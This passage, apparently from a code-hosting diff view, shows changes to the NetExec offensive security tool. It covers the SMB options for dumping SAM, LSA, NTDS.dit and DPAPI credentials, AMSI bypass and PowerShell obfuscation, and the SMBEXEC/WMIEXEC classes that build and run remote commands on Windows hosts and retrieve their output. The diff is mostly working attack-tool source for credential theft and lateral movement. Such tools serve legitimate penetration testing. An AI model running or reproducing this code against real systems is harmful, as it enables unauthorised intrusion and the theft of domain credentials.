if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
-4
View File
@@ -80,8 +80,6 @@ class PassPolDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
self.pass_pol = {}
@@ -114,8 +112,6 @@ class PassPolDump:
self.nthash,
self.aesKey,
doKerberos=self.doKerberos,
kdcHost=self.kdcHost,
remote_host=self.host,
)
try:
self.fetchList(rpctransport)
+60 -69
View File
@@ -1,91 +1,82 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
self_delegate_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies", will not dump SYSTEM dpapi if you add nosystem\n')
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
spidering_group = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
spidering_group.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
spidering_group.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider")
spidering_group.add_argument("--content", action="store_true", help="enable file content searching")
spidering_group.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
spidering_group.add_argument("--depth", type=int, help="max spider recursion depth")
spidering_group.add_argument("--only-files", action="store_true", help="only spider files")
segroup = spidering_group.add_mutually_exclusive_group()
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
egroup.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
egroup.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions")
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
egroup.add_argument("--pass-pol", action="store_true", help="dump password policy")
egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)")
egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: root\\cimv2)")
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider (default: root share directory)")
sgroup.add_argument("--content", action="store_true", help="enable file content searching")
sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content")
segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content")
sgroup.add_argument("--depth", type=int, default=None, help="max spider recursion depth (default: infinity & beyond)")
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cmd_exec_group.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
posh_group.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument("--dcom-timeout", help="DCOM connection timeout, default is 5 secondes", type=int, default=5)
cgroup.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results, default is 5", type=int, default=5)
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
return parser
+17 -14
View File
@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
class SamrFunc:
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@@ -25,7 +25,6 @@ class SamrFunc:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.kdcHost = connection.kdcHost
if self.hash is not None:
if self.hash.find(":") != -1:
@@ -36,8 +35,16 @@ class SamrFunc:
if self.password is None:
self.password = ""
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
self.samr_query = SAMRQuery(
username=self.username,
password=self.password,
domain=self.domain,
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
aesKey=self.aesKey,
)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
def get_builtin_groups(self):
domains = self.samr_query.get_domains()
@@ -49,6 +56,7 @@ class SamrFunc:
domain_handle = self.samr_query.get_domain_handle("Builtin")
return self.samr_query.get_domain_aliases(domain_handle)
def get_custom_groups(self):
domains = self.samr_query.get_domains()
custom_groups = {}
@@ -91,7 +99,6 @@ class SAMRQuery:
remote_name="",
remote_host="",
kerberos=None,
kdcHost="",
aesKey="",
):
self.__username = username
@@ -104,7 +111,6 @@ class SAMRQuery:
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kerberos = kerberos
self.__kdcHost = kdcHost
self.dce = self.get_dce()
self.server_handle = self.get_server_handle()
@@ -113,7 +119,7 @@ class SAMRQuery:
nxc_logger.debug(f"Binding to {string_binding}")
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
return transport.SMBTransport(
self.__remote_name,
self.__remote_host,
self.__port,
r"\samr",
self.__username,
@@ -123,12 +129,10 @@ class SAMRQuery:
self.__nthash,
self.__aesKey,
doKerberos=self.__kerberos,
kdcHost=self.__kdcHost,
)
def get_dce(self):
rpc_transport = self.get_transport()
rpc_transport.setRemoteHost(self.__remote_host)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
@@ -164,7 +168,7 @@ class SAMRQuery:
def get_domain_aliases(self, domain_handle):
"""Use a dictionary comprehension to generate the aliases dictionary.
Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
"""
return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
@@ -180,7 +184,7 @@ class SAMRQuery:
class LSAQuery:
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
self.__username = username
self.__password = password
self.__domain = domain
@@ -190,7 +194,6 @@ class LSAQuery:
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kdcHost = kdcHost
self.__kerberos = kerberos
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
@@ -202,7 +205,7 @@ class LSAQuery:
rpc_transport.set_dport(self.__port)
rpc_transport.setRemoteHost(self.__remote_host)
if self.__kerberos:
rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
rpc_transport.set_kerberos(True, None)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(
@@ -234,7 +237,7 @@ class LSAQuery:
def lookup_sids(self, sids):
"""Use a list comprehension to generate the names list.
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
"""
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
+14 -10
View File
@@ -25,8 +25,6 @@ class UserSamrDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.users = []
self.rpc_transport = None
@@ -51,7 +49,8 @@ class UserSamrDump:
self.logger.debug(f"Invalid Protocol: {protocol}")
self.logger.debug(f"Trying protocol {protocol}")
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
try:
self.fetch_users(requested_users)
break
@@ -78,11 +77,10 @@ class UserSamrDump:
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
resp3 = samr.hSamrLookupDomainInSamServer(
self.dce,
serverHandle=resp["ServerHandle"],
name=domain_name,
name=resp2["Buffer"]["Buffer"][0]["Name"],
)
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
@@ -133,13 +131,12 @@ class UserSamrDump:
# set these for the while loop
enumerationContext = enumerate_users_resp["EnumerationContext"]
status = enumerate_users_resp["ErrorCode"]
self.logger.display(f"Enumerated {users:d} local users: {domain_name}")
self.print_user_info(users)
self.dce.disconnect()
def get_user_info(self, domain_handle, user_ids):
self.logger.debug(f"Getting user info for users: {user_ids}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
users = 0
users = []
for user in user_ids:
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
@@ -162,11 +159,18 @@ class UserSamrDump:
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
if last_pw_set == "1601-01-01 00:00:00":
last_pw_set = "<never>"
users += + 1
self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ")
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
return users
def print_user_info(self, users):
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
self.logger.debug(f"Full user info: {user}")
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
def old_large_int_to_datetime(large_int):
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
timestamp_seconds = combined / 10**7
+16 -28
View File
@@ -3,14 +3,13 @@ from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import transport, scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class SMBEXEC:
def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
self.__host = host
self.__share_name = share_name
self.__share_name = "C$"
self.__port = port
self.__username = username
self.__password = password
@@ -27,9 +26,9 @@ class SMBEXEC:
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.logger = logger
@@ -50,8 +49,7 @@ class SMBEXEC:
self.__rpctransport.set_dport(self.__port)
if hasattr(self.__rpctransport, "setRemoteHost"):
self.__rpctransport.setRemoteHost(self.__remoteHost)
self.__rpctransport.setRemoteHost(self.__host)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
@@ -94,13 +92,15 @@ class SMBEXEC:
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
self.logger.debug("Command to execute: " + command)
self.logger.debug(f"Remote service {self.__serviceName} created.")
try:
@@ -137,35 +137,23 @@ class SMBEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
# TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed
# Still adding this for now to keep the structure similar until we can confirm the above
tries = 0
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
@@ -180,7 +168,7 @@ class SMBEXEC:
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
@@ -215,7 +203,7 @@ class SMBEXEC:
while True:
try:
with open(path_join(TMP_PATH, self.__output), "rb") as output:
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
self.output_callback(output.read())
break
except OSError:
+9 -23
View File
@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
self.__username = username
self.__password = password
@@ -26,7 +26,6 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.__stringBinding = ""
@@ -53,10 +52,9 @@ class WMIEXEC:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -140,36 +138,24 @@ class WMIEXEC:
self.__outputBuffer = ""
return
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
if tries >= self.__tries:
self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
sleep(1)
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(2)
tries += 1
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e}")
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
Loaded 100 of 122 files, more files were not shown because too many files have changed in this diff. Show more